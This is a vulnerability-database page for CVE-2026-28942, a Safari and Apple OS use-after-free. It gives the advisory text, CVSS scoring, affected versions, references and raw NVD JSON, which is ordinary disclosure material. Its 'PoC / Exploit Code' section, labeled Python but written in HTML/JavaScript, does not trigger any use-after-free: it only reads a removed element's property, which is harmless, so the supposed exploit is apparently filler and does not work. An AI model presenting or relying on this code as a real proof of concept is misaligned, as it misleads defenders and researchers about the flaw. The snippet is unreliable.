CVE-2026-28942

Description

A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.5

iOS < 26.5

iPadOS < 26.5

macOS < 26.5

tvOS < 26.5

visionOS < 26.5

watchOS < 26.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-28942 Use-After-Free -->
<!-- Trigger Safari crash via malicious web content -->
<html>
<body>
<script>
    // Simulate object allocation
    var target_obj = document.createElement('div');
    document.body.appendChild(target_obj);

    // Function to trigger free
    function trigger_free() {
        document.body.removeChild(target_obj);
    }

    // Function to trigger use-after-free
    function trigger_use() {
        // Accessing the removed object property
        console.log(target_obj.innerHTML);
    }

    // Execute sequence
    trigger_free();
    // Force garbage collection if possible (implementation dependent)
    // Trigger access
    trigger_use();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28942
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28942
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28942/
[4] VulDB https://vuldb.com/cve/CVE-2026-28942
[5] https://support.apple.com/en-us/127110
[6] https://support.apple.com/en-us/127115
[7] https://support.apple.com/en-us/127118
[8] https://support.apple.com/en-us/127119
[9] https://support.apple.com/en-us/127120
[10] https://support.apple.com/en-us/127121

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-28942", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:55.427", "lastModified": "2026-05-14T14:32:26.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26.5, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may lead to an unexpected Safari crash."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "9D9FC2C4-7A7C-4330-A226-255428A5D18E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "0A70A5FD-8891-4C4E-9D35-F217F95027B5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "176C47FD-FA25-437B-9061-A81CAA367AEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "C8F45D80-0DF8-444E-9AF1-703A1075F046"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "057B244F-5485-4108-8E23-FE15F5256EE7"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127110", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127118", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127119", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127120", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127121", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}